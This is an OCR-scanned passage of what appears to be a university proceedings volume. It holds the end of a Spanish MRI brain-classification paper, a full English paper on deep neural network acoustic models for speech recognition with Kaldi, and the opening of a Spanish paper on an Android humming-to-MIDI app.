temporal inferior izdo. y giro supramarginal izq (por orden
de numeracion en la Fig. 4).

FIGURA 4
TOP DE REGIONES MAS UTIILIZADAS EN LA CLASIFICACION

V. CONCLUSIONES

En primer lugar, el uso de la materia gris del cerebro (GM)
ofrece resultados mas elevados respecto del uso de la materia
blanca (WM), e incluso en algunos casos que ambas en
conjunto. Por otra parte, el modo de extraccion de
caracteristicas de las MRI se ha establecido como la técnica
més importante de este estudio, y que ha marcado desde el
principio la precisién del sistema. El sistema implementado
cuya extraccion se realiza mediante propiedades de regiones
del cerebro en base a un atlas ha obtenido los mejores
resultados de este estudio, por delante del sistema que utiliza
directamente los voxeles de las imagenes como
caracteristicas. En cuanto a las técnicas de seleccion, destacar
el uso del t-test y PCA, que son las técnicas con las que se ha
podido comprobar realmente buenos rendimientos de
clasificacion.

Al margen de la calidad de resultados que ofrece el uso de
la WM, debe estar relacionada de alguna forma con la
enfermedad al ofrecer rendimientos de pico tan distantes del

50%, la clasificacion aleatoria. Seria interesante encontrar
algin modo en que la WM suponga una mejora en la
clasificacion y no un perjuicio como es el caso al combinarla
con la GM.

Particularmente al caso de extraccién por regiones, con la
media y la desviacion se tienen en cuenta las intensidades de
cada voxel que compone cada region. Otra propiedad de la
que se podria hacer uso de cara a posibles mejoras es la
densidad de cada region. Es decir, seria el cociente del
nimero de voxeles que pertenecen al cerebro (no nulos en
intensidad) entre el nimero de voxeles total de la region.
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Abstract—This thesis investigates how Deep Neural Networks
(DNNs) can improve the performance of Automatic Speech
Recognition Systems. Recent research on the field has shown
that DNNs are able to provide a higher level representation and
a better classification of the input. In this project, we support pre-
vious research by employing DNNs as acoustic models in order to
determine a better accuracy for spoken sentences. Two different
ways to implement DNNs for acoustic modeling were explored: A
processor architecture (CPU) and a graphic architecture (GPU).
The advantages of GPU in terms of computational cost and data-
handling lead into outperforming results compared with other
conventional techniques. Furthermore, the experimental results
show an outperforming improvement by DNN for Resource
Management (RM), TIMIT, and Hindi datasets

Index Terms—Deep Learning, Speech Recognition, Deep Neu-
ral Networks

I. INTRODUCTION

Speech recognition process in humans is so complex that
many tasks are done at an unconscious level by neurons
working massively in parallel inside the human brain. Current
ASR systems are modeled by combination of two stadistical
techniques: The Hidden Markov Models (HMMs) to deal
with temporal variability of speech and the Gaussian Mixture
Models (GMMs) to represent how well HMMs fits an input
frame. But even most reliable ASR systems are limited as they
can not exploit all the information embedded in an input frame.
Neural networks stand as a rough mathematical approach of
the biological brain. Although, they were not very successful
as there were not good enough hardware systems to simulate
massive parallelism. Recent advances in machine learning
algorithms in combination with massive parallel computing
lead into deep learning techniques. High-level abstractions in
the input data are provided by using architectures composed
of multiple non-linear transformations. The main motivation
of this thesis is therefore to study the performance of DNNs
as acoustic models in ASR systems. Furthermore, this thesis
will focus on a GPU architecture in order to determine
whether parallelism models and deep architectures improve
the accuracy as they are closest to the computational brain
model.

This paper is organized as follows: Section 2 gives an
overview of speech recognition techniques used in the project.
Section 3 explains the neural network building and training
procedure, with a particular focus on DNN. In section 4, the

practical implementation is shown, along with the results for
Hindi, RM and TIMIT datasets. Finally, in section 5 we show
the importance of the achieved results and propose future lines
of research.

II. REVIEW OF SPEECH RECOGNITION
A. Continuous Density Hidden Markov Model

Continuous Density Hidden Markov Model (CDHMM) [1]
have been the state-of-the-art in speech recognition systems.
They are composed by a probabilistic framework known as
Hidden Markov Model (HMM). From a mathematical nota-
tion, HMM can be defined as A = (II, A, B) where II is the
initial state distribution, A is the state transition matrix where
a;; represents the probability of going from state 7 to state j
and B is the emission probability matrix where each element
b;(u) is the probability of emitting a sound while in state .
Each state in HMM is modeled directly with K mixtures of
Gaussian distributions over the state space. Thus, the b;(u)
can be computed as:

K
bj(w) = einGlu, ujr, Ujr) (1)
k=1
Where c;y, is the weight factor of the Gaussian G character-
ized by its covariance matrix Uj;; and mean fj; and u the
observation. Thus, we can use this probability to model the
HMM states.

B. Mel-Frequency Cepstra Features

Mel-Frequency Cepstra Coefficients (MFFC) [1] are the
most used features in speech recognition systems. To extract
them, two major steps must be performed. The first one is done
through a short time processing of the input signal where the
ultimate goal is to capture the spectral envelope of the input
signal. In the second stage, Mel Filterbank Analysis (MFB)
is done on the low frequency range of the signal and an
output coefficient is obtained. Finally, a log operation to reduce
dimensionality and some additional processing as cepstra
liftering is done to give the same weight for all the coefficients.
Cepstra mean substraction (CMS) is also performed to reduce
any unwanted effect during the recording stage. In addition,
as MFCC features are very sensitive to noise, robust features
extraction are computed through cepstral mean and variance
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normalization (CMVN). The aim here is to set the mean of
the cepstra sequence to zero and the variance equal to one.
This technique is important as it provides robustness against
noise.

C. Linear Discriminant Analysis

LDA is an important technique in speech recognition as
it is robust to any non-linear transformation and reduces the
dimensionality of the data [2]. Given a set of input features
X, in an n-dimensional space, we will try to find a linear
transformation Y = w!X in an m-dimensional space (m < n)
in which the direction of w’ vector will give us the optimum
discrimination. For given matrices W (within-class) and B
(between-class), the best solution yields in a projection of X
into the subspace of those m eigenvectors in W~1'B which
correspond to the m largest eigenvalues.

D. Feature Space MLLR

Maximum Likelihood Linear Regression (MLLR) [3] is a
based likelihood technique used for adapting Gaussian mean
vector in HMM systems. Starting from the adaptation data
from a new speaker, MLLR updates the model mean parame-
ters to maximize the likelihood of the adaptation data. Feature-
space MLLR (fMLLR) [4] is employed in ASR systems to
reduce the mismatch between the adapted models and the
acoustic data for a given speaker. In a hybrid GMM-HMM
model, the full covariance matrix is used and a Hessian
computation in the transformed space is done in order to find
the gradient. For each in-speaker transform W?¢, the update
rule for a A estimation and k step size will be given as:

W« W:_| +kA (2)

E. Speaker Adaptation

The motivation for using Speaker Adaptative Training
(SAT)[5] is the improvement of the accuracy for another
speaker taking only the utterances worth his/her speech data
by maximizing the likelihood of the training data given the
MLLR-adapted models. For each speaker, the estimation of
optimal model and mapping function is done jointly by
keeping the mean and the variance updated for each speaker,
leading into some problems in terms of computational cost.
The most common technique is called diagonal SAT, where
only the quadratic term in the mean’s objective function is
stored.

ITI. NEURAL NETWORKS
A. Multilayer perceptron model

Multilayer Perceptrons (MLPs) [6] are composed by a set
of layers known as “hidden layers” in which each layer is
connected to the next one as seen in figure 1. This architecture
leads into a higher-order and more complex representation of
the input vector. Let it be the set of inputs Lo, Z1,...Tp for
which we define the desired output function f(z, 9) with 6 =
{wij, wjk,, wg} the set of weights on each layer. Hence, for

Figure 1. Multilayer perceptron with a softmax layer

a given reference model y,..y we define the cost function L as
cross-entropy cost function given by L = — 3 y,log fo(x, 0).
This function will be minimized through the training proce-
dure.

1) Stochastic Gradient Method: The stochastic gradient
descent (SGD) is an optimization method used for updating
the weights during the training stage in a neural network.
From a given objective function f(z, 5), we compute a forward
propagation to initialize the weights. Then, we calculate the
gradient with respect to the cost function and propagate it
backwards to update the weights of each layer. With a given
learning rate 7 , the new weights w;k between layer j and k
can be updated as:

oL
Awjp, = — 3
Wik 7 S 3
Where Awji, = wj & — Wik and ‘5Lk the gradient operator

with respect to the cost function. Notice that if the number
of layers is very large, SGD is ineffective as it can be
stuck in local minima. Overfitting is another issue in this
model as it can lead into an undesired noise modeling. In
this project, we used a different algorithm proposed by [7]
and known as pre-conditioned SGD. Instead of using a fixed
learning rate, a symmetric positive definite matrix-value with
restricted eigenvalues is defined. Thus, the eigenvalues of this
matrix decrease during the training stage. This matrix shall
not depend on the current training sample or we can get a non
desired direction in the feature space.

2) The softmax layer: For a classification problem we need
to have a probabilistic output that lies on the interval [0,1].
This can be done by forcing the output of the last layer to
represent a probability distribution with discrete values. Our
objective function f(z, 5), for a given class c¢;, must be written
as

L==> yilogp(ci|v) )

with p(c;|z) and 47’ belonging to the interval [0,1]~. By
employing Bayes theorem, we can calculate the likelihood
p(z|e;). Hence, we can perform a classification task for speech
recognition as this likelihood can replace the one previously
defined in GMM.

B. Restricted Boltzmann Machines

Restricted Boltzmann Machines (RBMs), as explained in
[8], are graphical models that define a probabilistic function
over a set of stochastic units. The upper layer is composed by
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smaller set of “hidden’ units and the lower layer is formed by
a set of “visible” units. RBMs are considered as “restricted”
because there are no connections between hidden and visible
units in themselves respectively. This restriction is necessary
in order to provide hidden units with learning capacity from
visible units. RBM model is shown in figure 2.

This joint configuration of visible and hidden units has an
energy distribution F(v, h) defined by :

E(v,h) = —hTWv — v —bTh 6))

where W is a matrix in which each element w;; is the
connection between the visible unit ¢ and the hidden unit j.
The parameter h is the binary array of hidden units, v is the
binary array for visible units and cy, b; are the bias variables.
The joint probability p(v, k) within units can be written as [8]:

p(v, h) = exp(=E(v, h))/Z (6)

with “1/Z” the partition function for all the pairs of
hidden and visible vectors. Thus, the probability in a given
configuration of visible units p(v) is calculated as:

p(v) = 3 exp(~B(v. h) %
h

The above expression gives an output probability according
to the current energy distribution. Furthermore, we must
maximize the average negative log-likelihood or —log p(v)
in order to get an effective training procedure for the RBM.
The cost function L for a step size IV in the optimization
hyperplane is given by:

1
L= NZhj —log p(v) (8)

Using above, it is shown in [8] that the maximization of
—log p(v) leads to :

dlog p(v)

=< wh; > -
5wij ity ~data

< Uihj >model (9)

where the operator <> is the expected value. The data
samples < v;h; >g4qtq can be obtained from the conditional
probability within units. As the connections within units are
restricted, visible units are conditionally independent given the
hidden units, and hidden units are conditionally independent
given the visible units. Hence, it is shown in [8] that the
conditional probability in each hidden unit /; can be computed
as:

OO OO O]

Bias W

OO O]

Figure 2. RBM architecture with hidden and visible units
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1

plhy =1v) = 1= exp[— (L viwi; + b;)] (o
1

plvi = 1h) = o

14 eXp[—(Zhjwij + bi)]

But the samples concerning the model are computationally
intractable as < wv;h; >y04e1 1S an exponential summatory
over v and h vectors. Thus, a new approach is needed if we
want to maximize the equation (9). A very efficient method
called Contrastive Divergence (CD) was proposed by [9].

The CD algorithm is based on Gibbs sampling and con-
ditional probabilities. For a given set of visible units {v},
the hidden units are updated jointly in parallel with equation
(10). Then, the visible units must be updated from the hidden
units with respect to equation (11). This algorithm can perform
Gibbs sampling in k steps. Although, even if we want to learn
better generative models and large number of Gibbs sampling
steps are run, but we are not going to perform an efficient
pre-training as the required parameters can be learned only
with one Gibbs step. This one step Gibbs sampling is known
as Contrastive Divergence One (CD1). It can be summarized
in two main unit updates: Starting with a set of visible units,
the hidden units are updated jointly in parallel. Afterwards,
from the given set of hidden units, we update all the visible
units in parallel to get a “reconstruction”. Then, we update the
hidden units again. It is faster than normal Gibbs sampling and
approximates —log p(v) reasonably well. When the samples
are obtained, the weights matrix can be updated according to
the following learning rule:

wnr=wnr1l4 6(< Uihj >data — < Uihj >Sampled) (12)

The main advantage of this procedure is that overfitting can
be avoided at the first update of the hidden layer just by taking
the sampled binary values from the visible units. The second
update can be computed using real-valued probabilities instead
of binary values.

Real data follow different probability distributions. In ASR
systems, MFCC features are used as input and since they are
parameterized with a Gaussian distribution, it is not optimal
to use a binary distribution for the visible units. The energy
and the conditional probabilites are modeled with a Gaussian
distribution by:

E(U7 h) = —ZZhjw”%
i g

1
h; = 1|v) =
e ) ST )

)2
—ZLQU?) =S by (13)
: j

i

(14)

p(Ui = 1|h) = G(Ci + Uizhjwij70'i2) (15)

J

With G(u, 0?) as the Gaussian distribution. The main issue
with Gaussian RBMs is related to the learning of the standard
deviation as it becomes very complicated if CD1 is used.
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Figure 3. Deep Belief Network building procedure and final DNN-DBN.

In practice, it is normal to perform a data normalization to
achieve a zero mean and variance one. Thus, we can calcu-
late the reconstructed sample from the posterior probability
without any noise.

C. Deep Belief Networks and Deep Neural Networks

Deep Belief Networks (DBNs) are defined as a “single,
multilayer generative model” [8]. Each layer of the DBN is
an RBM whose posterior probability over its hidden layer is
the input for the next RBM. The main idea of stack RBMs
is to improve the prior probability on the last layer just by
adding another hidden layer. At the top of the structure, the
connections of the last two layers are undirected, meanwhile
the rest of the layers will have top-down directed generative
connections, as seen in figure 3. Once the DBN has been built,
the weights must be adjusted through fine-tuning procedure in
order to perform the desired task.

From figure 3, the building procedure for a DBN with
three hidden layers is shown. For the input MFCC features, a
Gaussian RBM is trained and its weight matrix W; adjusted.
Then, we freeze W1 and address (W1)? as the input data to
the next hidden layer. Hence, equation (7) can be written as

p(; W) =Y p(h; W) p(v|h, W) (16)
h

where the roles of visible and hidden units have changed
with respect to equation (7). The training process can be done
by freezing p(v|h, W) and learning the remaining weights.
Hence, we train the next RBM by employing the aggregated
conditional probability on h; as the input data. This is repeated
following CD1 algorithm from a bottom-up approach, forcing
to learn “features of the features” in each layer. It can be
proved that each time we add another hidden layer we achieve
an improvement of the variational lower bound on the log
probability of the training data [8]. At the end of the training,
we will have a DBN with undirected connections on the two
top layers and downward connections in the remaining layers.

Finally, we can convert the pre-trained DBN into a Deep
Neural Network (DNN) by taking the inverse direction of
the calculated weights, which are given by W} (kth hidden
layer). Thus, we change the connections to be directed upward
between each feature detector layer in order to build a feedfor-
ward DNN. A softmax layer is added at the top of the DNN
to compute each state of the HMM model. Then, the DNN
can be discriminatively trained for HMM state prediction.

D. Deep Neural Networks and Hidden Markov Models

DNNs can be applied to predict HMMs states if a discrim-
inative training has been performed previously. Citing from
[8], the “output probability for a given observation o; at time
t in utterance u, for the HMM state s is given by ”

exp(au(s))
p(sloy) = =——F"— W)
(slo:) > exp(ay(sx))
p
where a, is the activation output layer corresponding to
state s. A log-likelihood for state s in observation o; is used
for recognition :

log p(ot|s) = log p(s|or) — log P(s) (18)

and P(s) as the prior probability obtained from the data.
Once we have defined log p(o¢|s), we can apply the back
propagation algorithm jointly with SGD to model the HMM
states.

IV. EXPERIMENTAL SETUP

A. Databases and Languages

The performance of DNNs as acoustic models has been
tested on TIMIT, Resource Management (RM) and Mandi
databases. RM consists of 3990 training sentences, recorded by
168 speaker: 109 for training and 59 for testing at a sampling
rate of 16KHz. The TIMIT database is recorded on eight
principal dialects of American English. It is composed by a
total number of 490 speakers: 462 for training and 28 for
testing.

The Mandi data was collected for building Automatic IVR
systems to get the price of Agricultural commodities in Indian
languages. This database comprises six major Indian lan-
guages: Tamil, Telugu, Hindi, Bengali, Assamese and Marathi
at a sampling rate of 8KHz. The speakers were mostly farmers
in a rural environment. Hindi was chosen for this study and we
separated the whole dataset into 1 hour, 3 hours, 5 hours and
22 hours sets to show the effect of different acoustic modeling
techniques in terms of the amount of training data.

B. Data preparation and feature extraction

We tested the behaviour of DNNs as acoustic models
with Kaldi software toolkit. Kaldi [10] is the state-of-the-
art software toolkit to build speech recognition systems. We
need to perform data preparation before feature extraction in
order to avoid future variations that might lead to a mismatch
between the baseline and the obtained results. Input speech
is windowed using 25 ms window with an overlap of 15ms.
13 dimensional MFCC are extracted from the speech signal
and velocity, acceleration coefficients are appended to form 39
dimensional features. Cepstral mean normalization (CMN) is
performed over these features to achieve noise robustness. The
baseline continuous density HMMs (CD-HMMs) were trained
using expectation maximization algorithm.
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C. Deep Neural Networks in Kaldi

Before any prior training of DNNs, the input features
must be improved to provide a better input representation for
the DNN [10]. From CDHMM features, speaker adaptation
(SAT) features are obtained by applying Linear Discrimant
Analysis (LDA) in combination with Maximum likelihood
linear transform (MLLT). We compute fMLLR features to
normalize the speaker variation. The whole procedure yields
into 40 dimensional features that are used as the input for
the deep neural network. Splicing is done over these features
with 9 frames before and after each center frame. Baseline
performance are shown in Table I in terms of Word Error
Rate (WER). DNNs are trained in Kaldi following the same
receipt as in[10] and from two different approaches: CPU and
parallel programming in GPU.

In the CPU approach, the first step is to make a frame-level
randomization of the input by dumping all the training features
to the disk. This will allow us to access the data sequentially
for every epoch and avoid any possible mismatch between read
data and the data expected by the DNN. Afterwards, DNN
is initialized with one hidden layer and increased by two in
each iteration. The training is performed by pre-conditioned
SGD in a loop. The total number of iterations are defined
as the number of epochs plus an extra margin, which in our
simulation were set to 20. On each iteration, the cross-entropy
is calculated and the learning rate decreases from the initial
learning rate (0.002) to the final learning rate (0.0002) for 15
epochs and remains constant during the last 5 epochs. Finally,
we average the models the final fully trained DNN is obtained.

In the GPU approach, DNN is trained as follows: First, we
use 90% of the data as a proper training set and the remaining
10% is used as a validation set. Afterwards, by taking the
input features, we start to stack RBMs. As the input features
are Gaussian, the first RBM employs a Gaussian-Bernoulli
distribution with a lower learning rate. Remaining RBMs are
Bernoulli-Bernoulli with a constant learning rate. To maintain
the learning rate constant, we have to use a momentum m
from 0.5 to 0.9 in order to rescale the learning rate as 1 —m.
Contrastive Divergence with one Gibbs sampling step (CD1)
is computed during all the RBM training. In order to avoid
overfitting, L2 regularization with a penalty factor of 0.0002
is used. Samples are taken by frame-level and sentence-level
shuffling. Once we have all the stacked RBM, we perform
the frame-level cross-entropy training. With an initial learning
rate of 0.008 and a minibatch size of 256, we train the
DNN to classify frames into triphone states. The criteria used
was to reduce by half the learning rate if the improvement
between two iterations is less than 0.5%. This procedure is
repeated until improvement is less than 0.1%. Finally, an affine
transform is applied at each layer to do decorrelation. Softmax
component is added at the final layer to normalize the output
probabilities of each tied-state. The performance of DNN for
different datasets are shown in Table II and Table III.

D. Hardware setup

All the simulations have been run on IITM Libra Cluster.
DNN computations have been performed on three NVIDIA
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Tesla M2070 GPU, with 6GB graphic memory. Intel Xeon
x5675 with 24 CPUs and with a frequency of 3.07 GHz are
used for rest of the experiments.

E. Results and discussions

Table I shows the baseline parameters for the CDHMM
system. Notice that LDA+MLLT features improve results
when compared with basic triphone models in all the datasets.
For instance, 5 hours of Hindi shows an improvement of 7.25%
over basic triphone model. Also, as the database grows in time,
the number of parameters also increases as the data needed to
be estimated becomes larger.

Table II and Table III gives optimized baseline for DNNs. If
we compare the results of Table II with LDA+MLLT features,
we notice that DNN gives a relative improvement of 15.24%
and 29.92% for RM and TIMIT respectively. Furthermore, if
compared with CDHMM, the relative improvement is 43.69%
for RM and 23.99% for TIMIT. Regarding Hindi datasets,
DNN gives consistent improvement, even if the amount of data
is not too large. For 1 hour of Hindi, when comparing DNNs
with LDA+MLLT features, it improves 3.63% and 3 hours of
Hindi improves by 8.44%. Furthermore, improvement is up to
21.21% and 31.51% for 5 and 22 hours of Hindi respectively.

The most important results are for GPU training when the
dataset is too big and DNN has more labeled data to be
trained properly. When compared with LDA+MLLT, a relative
improvement of 1.74% and 0.35% was achieved for 1 hour and
3 hours of Hindi respectively. But for larger datasets, improve-
ment goes up to 21.8% for 22 hours of Hindi and 34.15% for 5
hours of Hindi. Notice that the number of parameters plays an
essential role in the convergence as well as the training time.
There is a trade-off between the number of parameters, the
convergence and the simulation time. The larger the dataset,
the bigger DNNs are needed to make a proper estimation
and thus, more number of parameters are needed too. It also
matters how we train the DNN. For instance, a DNN model
for 1 hour of Hindi in a GPU needs 3.6 million parameters,
meanwhile in CPU it needs 11.6 millions parameters. This
is due to the training procedure done in the scripts. In CPU
training, two hidden layers are added per iteration and if the
improvement is not good enough, we re-initialize the weights.
This procedure yields into a slower convergence and more
number of parameters, as seen in Table II. In contrast, when we
are using the GPU, the training procedure takes full advantage
of the parallelism and it converges faster with less number of

Table I
CDHMM BASELINE RESULTS
CDHMM
Dataset #Ph Triphone LDA+MLLT
#Ts #Ps % WER #Ts #Ps % WER

RM 47 1449 0.71 3.41 1479 0.71 2.74
TIMIT 38 402 0.22 28.38 395 0.22 25.45
Hindi (1hr) 383 0.14 14.92 382 0.14 14.31
Hindi (3hr) 1 454 0.17 11.59 470 0.17 10.77
Hindi (Shr) 571 0.33 9.10 577 0.33 8.44
Hindi (22hr) 1061 0.86 5.75 1090 0.86 5.68

#Ph - Number of Phones , # Ts - Number of tied states
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Table II
DNN PERFORMANCE ON A CPU
Dataset DNN (CPU)
#Hn | #HI #Ps Time (min) % WER
RM 1126 7.2 143 1.92
TIMIT 793 4.8 1505 21.57
Hindi (1hr) 250 4 11.1 70 13.79
Hindi (3 hr) 1761 11.9 126 9.86
Hindi (5 hr) 1181 7.6 252 6.65
Hindi (22 hr) 1741 12.1 970 3.89
# Hn - Number of Hidden Nodes, # HI - Number of Hidden layers, #Ps - Parameters
per million
Table III
DNN PERFORMANCE ON A GPU
DNN (GPU)
Dataset gy 9|7 T #Ps | Time (min) | %WER
RM 1024 6 7.2 43 1.74
TIMIT 1024 6 4.7 242 21.39
Hindi (1hr) 2000 5 3.6 32 14.26
Hindi (3 hr) 2000 7 10.6 63 10.30
Hindi (5 hr) 2048 6 19.11 123 6.60
Hindi (22 hr) | 2048 6 21.3 275 3.74
# Hn - Number of Hidden Nodes, # HI - Number of Hidden layers, #Ps - Parameters

per million

parameters. Hence, if we initialize the neural network with
random parameters that are not near the convergence region,
it may get stuck in a local minima and not converge into the
desired region of the hyperplane. And this can be a problem
in small datasets where the labeled data is limited and it can
be very sensitive to overfitting. For example, as we can see in
Table III, the improvement for 1 hour and 3 hours of Hindi is
not so good as in Table II. Thus, if the training data is large
enough and parameters are set properly, DNNs stand as an
excellent acoustic models as they can reduce overfitting and
preserve modeling capacity.

V. CONCLUSIONS

In this paper, we have shown experimentally that DNNs
outperform CDHMMs as acoustic models due to their capacity
of learning from the features, tolerating noise, and supporting
parallelism. With our experimental results, we support the
previous research on this field and we show that DNNs stand
as an excellent solution for building ASR systems in Hindi
language and works really well even for small datasets.

ACKNOWLEDGMENTS

The author would like to thank Dr. Umesh S for continuing
research links with University of Granada and giving me the oppor-
tunity to do my project under his guidance at IITM Speech Lab. The
author would like to acknowledge Prof. Carmen Benitez and Prof.
Luz Garcia from University of Granada for helpful discussions and
unending support during the exchange program. The author would
like to thank all the members of Speech Lab for all the technical
support. The authors are grateful to all the members of Indian
DIT-ASR Consortium for collecting and transcribing agricultural
Commodity data.

REFERENCES

[1] Lawrence Rabiner and Ronald Schafer, Theory and Applications of
Digital Speech Processing, Prentice Hall Press, Upper Saddle River,
NJ, USA, Ist edition, 2010.

[2

[

Reinhold Haeb-Umbach and Hermann Ney, “Linear discriminant anal-
ysis for improved large vocabulary continuous speech recognition”, in
Acoustics, Speech, and Signal Processing, 1992. ICASSP-92., 1992 IEEE
International Conference on. IEEE, 1992, vol. 1, pp. 13-16.

P.C. Woodland, J. J. Odell, V. Valtchev, and S. J. Young, “Large vocab-
ulary continuous speech recognition using htk”, in Acoustics, Speech,
and Signal Processing, 1994. ICASSP-94., 1994 IEEE International
Conference on, Apr 1994, vol. ii, pp. 1I/125-11/128 vol.2.

Arnab Ghoshal, Daniel Povey, Mohit Agarwal, Pinar Akyazi, Lukas
Burget, Kai Feng, Ondrej Glembek, Nagendra Goel, Martin Karafiét,
Ariya Rastrow, et al., “A novel estimation of feature-space mllr for
full-covariance models”, in Acoustics Speech and Signal Processing
(ICASSP), 2010 IEEE International Conference on. 1EEE, 2010, pp.
4310-4313.

Christopher J Leggetter and PC Woodland, “Maximum likelihood linear
regression for speaker adaptation of continuous density hidden markov
models”, Computer Speech & Language, vol. 9, no. 2, pp. 171-185,
1995.

[6] Marvin L Minsky and Seymour A Papert, Perceptrons - Expanded
Edition: An Introduction to Computational Geometry, MIT press Boston,
MA:, 1987.

Xiaohui Zhang, Jan Trmal, Daniel Povey, and Sanjeev Khudanpur,
“Improving deep neural network acoustic models using generalized
maxout networks”, submitted to ICASSP, 2014.

[8] Geoffrey Hinton, Li Deng, Dong Yu, George E Dahl, Abdel-rahman
Mohamed, Navdeep Jaitly, Andrew Senior, Vincent Vanhoucke, Patrick
Nguyen, Tara N Sainath, et al., “Deep neural networks for acoustic
modeling in speech recognition: The shared views of four research
groups”, Signal Processing Magazine, IEEE, vol. 29, no. 6, pp. 82—
97, 2012.

Miguel A Carreira-Perpinan and Geoffrey E Hinton, “On contrastive
divergence learning”, in Proceedings of the tenth international workshop
on artificial intelligence and statistics. Society for Artificial Intelligence
and Statistics NP, 2005, pp. 33-40.

Daniel Povey, Arnab Ghoshal, Gilles Boulianne, Lukas Burget, Ondre;j
Glembek, Nagendra Goel, Mirko Hannemann, Petr Motlicek, Yanmin
Qian, Petr Schwarz, et al., “The kaldi speech recognition toolkit”, in
Proc. ASRU, 2011, pp. 1-4.

3

—_

[4

—_

[5

—_

[7

—

[9

—

[10]

Angel Bueno received a Dual Degree in Telecom-
munications engineering with specialization in sig-
nal processing from University of Granada, Spain.
He joined the IITM Speech Lab for one year as
an international exchange student. His current main
research interest is the improvement of optimization
techniques in neural networks, acoustic modeling
for noise robust speech recognition and stadistical
methods.

Dr. S. Umesh S. Umesh completed his PhD from the
University of Rhode Island in 1993, and was a Post-
Doctoral Fellow at the City University of New York
until 1996. From 1996 to July 2009, he was with the
Department of Electrical Engineering at IIT-Kanpur,
first as Assistant Professor and finally as Professor.
He is currently Professor of Electrical Engineering
at IIT-Madras. He has also been a visiting researcher
at AT&T Research Laboratories, USA; at Machine
Intelligence Laboratory Cambridge University En-
gineering Department, UK and the Department of
Computer Science, RWTH-Aachen, Germany. He is a recipient of the AICTE
Career Award for Young Teachers in 1997 and the Alexander von Humboldt
Research Fellowship in 2004. His recent research interests have been mainly in
the area of speaker-normalization and acoustic modeling and their application
in large vocabulary continuous speech recognition systems.

174



Humming composer para Android

Autor: Jorge Bachs Rubio, e-mail: bachs@correo.ugr.es
Tutores: Angel M. Gémez Garcia, Antonio M. Peinado Herreros e Ivan Lépez Espejo, e-mails:
{amgg,amp,iloes } @ugr.es
Titulacién: Ingenieria de Telecomunicacion
Departamento de Teoria de la Senal, Telematica y Comunicaciones
Universidad de Granada

Resumen—Este proyecto trata del disefio y construccion de
un sistema software, destinado a usuarios con pocos o nulos
conocimientos musicales, para la creacion de secuencias MIDI
(Musical Instrument Digital Interface) mediante el tarareo. Para
ello, el sistema implementado realiza un proceso de obtencion
y conversion de la sefial de voz (tarareo) en una representacion
apropiada para su analisis posterior como MIDI. A partir de los
parametros del analisis anterior, se lleva a cabo una conversion
compatible con el estandar MIDI, generando un fichero en dicho
formato y permitiendo la reproduccién del mismo seleccionando
un instrumento en particular (piano, guitarra, etc.).

Palabras clave—Android, MIDI, deteccion de pitch, composi-
tor, tarareo.

1. INTRODUCCION

A musica, al igual que cualquier otra disciplina artistica,

evoluciona a la vez que evoluciona la raza humana.
Este desarrollo se observa claramente en la forma en que
nos relacionamos con ella. Han aparecido nuevas formas de
tocar musica, nuevas formas de escucharla, de verla y, cémo
no, una gran cantidad de instrumentos y maquinas que la
crean. Parece razonable por tanto, en este momento en que
el desarrollo tecnolégico se ve especialmente reflejado en los
dispositivos mdviles, realizar aplicaciones moviles musicales
que de alguna forma puedan acercarnos a la miisica ain mas.
En el mercado actual de aplicaciones, la proliferaciéon de
dispositivos con software libre como puede ser Android, ha
hecho posible el desarrollo de infinidad de proyectos centrados
en la grabacién, reproduccion y composicién musical.

La aplicacién que se desarrolla en este proyecto se denom-
ina Humming Composer, Compositor por Tarareo, y sirve
para crear composiciones MIDI (Musical Instrument Digital
Interface) a partir de melodias tarareadas por un usuario. El
resultado obtenido con este proyecto permite al usuario la
posibilidad de modificar algunos pardmetros de la secuencia
MIDI, como puede ser el instrumento con el que se reproduce,
o utilizar estas secuencias MIDI en programas de creacion
musical profesionales, como pueden ser Ableton, Cubase u
otros, para generar composiciones mds ambiciosas.

La consecucidn final del prototipo pasa por el desarrollo
de cuatro bloques principales, los cuales son descritos en
detalle en la Seccién II: el bloque de adquisicién de voz,
el detector de pitch, el bloque de afinacién y el conversor a
secuencia MIDI. Cada uno de los procesos por los que serd
sometida la sefial han sido concebidos con el fin de que la
melodia MIDI resultante sea reconocible incluso cuando el
usuario ha cometido errores de afinacién durante la entonacién

del tarareo. Finalmente, la Seccién III recoge unas breves
conclusiones acerca del trabajo realizado.

II. DESCRIPCION DEL SISTEMA

En esta seccidn se detallan las distintas etapas de procesado
por las que pasa la sefial de voz con musica tarareada.

A. Adgquisicion de Voz

Para la captacién de la sefial de voz (tarareo) es nece-
sario ajustar tres pardmetros: la frecuencia de muestreo, la
resolucion de cuantizacién y el nimero de canales. Dado que
el ancho de banda de interés de la sefial es aproximadamente
4 kHz, hacemos uso de una frecuencia de muestro de f; = 8
kHz de acuerdo con el teorema de Nyquist. Trabajaremos
con un canal mono estableciendo la maxima resolucion (16
bits) permitida usualmente en dispositivos méviles. Ademads,
durante la captacion, las muestras de sefial obtenidas no deben
tener ninguna compresion; por este motivo se emplea la cod-
ificacion PCM (pulse-code modulation) durante la grabacién.

B. Preprocesamiento del Tarareo

Para que el sistema trabaje de manera apropiada es nece-
sario realizar un preprocesado de la sefial. Este preproce-
samiento consta de una normalizacién de la sefial seguida de
una segmentacién de la misma en tramas de longitud deter-
minada. La sefial de voz de entrada al sistema se identifica
como S(n).

En primer lugar se normaliza S(n) obteniéndose una se-
cuencia de muestras s(n) contenidas en el intervalo [—1, 1],
de la forma,

S(n)

S = S argmax [S@]) (1)
Vn € [1,2,‘..7]\[5]; 1 <14 < Ng,

donde Ng corresponde al nimero total de muestras de S(n).
Una vez normalizada, la sefial se segmenta en tramas de
30 ms. Este valor fue seleccionado considerando que en
aplicaciones de reconocimiento de voz se suele hacer uso de
tramas de audio de duracién en el rango 15-30 ms. Conocidas
la frecuencia de muestreo fs y la duracion temporal de la
trama, el nimero de muestras de la trama ¢-ésima, s(n;t), es
calculado como,
N = fs “tirama = 8000

muestras N muestras

-0.03 , 2)
S trama

cont = 1,2,...,T, siendo T = Ng — N + 1 dado que
se eligié que el desplazamiento de la ventana fuese de una

= 240

trama
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muestra. Cada una de las tramas resultantes, s(n;t), se envia
al bloque de deteccién de pitch, explicado con detalle en la
Subseccion II-D. Este bloque se encargara de determinar si
la trama recibida contiene voz o ruido. En el caso de que la
trama contenga voz, se procederd a obtener su pitch, y en el
caso de que contenga ruido, se considerard la duracién de la
trama como si fuese un silencio.

C. Deteccion de la Duracion de las Notas

Aunque no exista explicitamente un bloque de deteccion
de la duraciéon de las notas, dada su importancia, resulta
interesante hacer una pequefia revision sobre cémo el sistema
gestiona la duracién de estas.

Debe considerarse que se desea reproducir, mediante la se-
